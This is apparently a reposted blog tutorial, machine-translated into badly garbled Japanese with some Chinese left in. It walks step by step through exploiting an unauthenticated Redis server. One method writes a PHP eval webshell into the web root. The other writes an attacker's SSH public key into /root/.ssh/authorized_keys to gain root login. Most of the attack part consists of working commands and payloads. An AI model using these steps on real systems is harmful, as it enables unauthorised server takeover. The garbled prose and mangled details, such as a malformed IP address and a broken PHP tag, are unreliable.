Redisの不正アクセスとは、root権限を取得するためにウェブシェル公開鍵と秘密鍵認証を書きます

0x01の  不正アクセスのRedisの脆弱性とは何ですか

:0.0.0.0にバインドされたRedisのデフォルトの下で、6379該当する政策が採用されなかった場合、このような信頼できないソースIPアクセスを避けるために、ファイアウォールルールを追加するというように、そうしますと、 Redisのサービスは、公衆にさらされた場合、上パスワード認証(通常は空)せずに、それは不正なアクセスからターゲットサーバへのアクセスの場合、任意のユーザにつながるとのRedis Redisのは、データを読み込みます。攻撃者は不正アクセスのRedisの場合には、自身のRedisの使用が提供さコンフィグ  、あなたがすることができ、コマンドをファイル操作を書き込み、攻撃者は自分のことができauthotrized_keysは、ターゲットサーバー/root/.sshフォルダに書き込まれた公開鍵をsshをファイル、およびそれに対応する秘密鍵を使用してSSHサービスを使用して宛先サーバに直接ログインすることができます。

単純に次の2つの条件の脆弱性で、その結果、置きます:

(1)Redisのは、バインドされ 0.0.0.0:6379を、信頼できないソースIPアクセスと直接パブリックネットワークにさらされる他の関連するセキュリティポリシーを回避するために、ファイアウォールルールを追加しません。

(2)(通常は空)パスワードなしの認証を、あなたのことができ、パスワードなしのリモートログインRedisのサービス。

  ハザードの脆弱性

(1)内部のデータにアクセスするための認証なしで攻撃者、ハッカーが悪意のある実行することができ、機密情報の開示につながるflushallのすべてのデータをクリアします。

(2)EVALのLuaのコードを実行する攻撃者によって得られるか、またはバックドア・データ・ファイルのバックアップを介してディスクに書き込むことができます。

Redisのは、rootで実行されている場合(3)最も深刻な場合、ハッカーは、rootアカウントにSSH公開鍵ファイルを作成し、SSH経由で被害者のサーバーに直接ログインすることができます

 

0x02の  使用Redisのはウェブシェルを書きます

  • 前提を使用します。

  1. リットルのドローンRedisの不正なリンク攻撃マシン上のRedis-cliの上に示すように、認証はログインできません、でも上で使用することができます
  2. lは、Webサーバを開き、パスを知っている(例えば、のphpinfo、またはバーストエラーパスを使用して)、だけでなく、ファイルにはアクセス許可のCRUDを読んだ(私たちは、その後、Bとはdbfilenameファイル名をディレクトリdirを設定することができます保存またはbgsaveの実行は、我々は/ bのいずれかのファイルパスに書き込むことができます。)

1.のphpinfoページまたは他の方法によってRedisのサーバーサイトのルートを取得

 

サイトサーバーのルートディレクトリを取得している:/ var / www / htmlと設定

図2に示すように  、Redisの-CLI Redisのサーバーによって接続されている直接接続のRedis Redisの不正なサーバによって

ルート@ Ubuntuの:〜#のRedisの-CLI -h 192.1685.57

 

 我々はすでに始まっWebルートの使用はウェブシェル(ワードトロイの木馬)を書くためのRedisを使用することを学びました

設定セットのディレクトリ / var / www / htmlと設定

コンフィグ設定dbfilenameのwebshel​​l.php
ウェブシェルセット"<PHPエコー@Eval($ _ POST [ 'X']);?>"
保存

接続シェル

 

 0x02のroot権限を取得するために、「公開鍵と秘密鍵」の認証を使用して、sshのフリー密集着陸ターゲットサーバ 

1、  パスワードがアタック(Redisのクライアント)をnullに設定され、公開鍵と秘密鍵のsshを生成し、

root@ubuntu:~# ssh-keygen -t rsa

2、 进入/root/.ssh目录:  cd /root/.ssh , 讲生成的公钥保存到1.txt(名字随意)

root@ubuntu:~# cd /root/.ssh/
root@ubuntu:~/.ssh#  (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
root@ubuntu:~/.ssh# ls -a
.  ..  1.txt  id_rsa  id_rsa.pub  known_hosts

3、 链接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入)

 cat 1.txt | redis-cli -h 10.10.10.135 -x set crack

4、 通过客户端远程登陆目标靶机的Redis服务,并使用 CONFIG GET dir 命令得到Redis备份的路径

redis-cli -h 10.10.10.135

CONFIG GET dir

5、 更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

config set dir /root/.ssh

6、 设置上传公钥的备份文件名字为authorized_keys

CONFIG SET dbfilename authorized_keys

7、 检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出

CONFIG GET dbfilename

save

exit

8、 在攻击机上使用SSH免密登录靶机

ssh -i id_rsa [email protected]

 

 

最后成功root权限登陆目标系统

 

 

 

 

 

 

 

おすすめ

転載: www.cnblogs.com/-qing-/p/10978912.html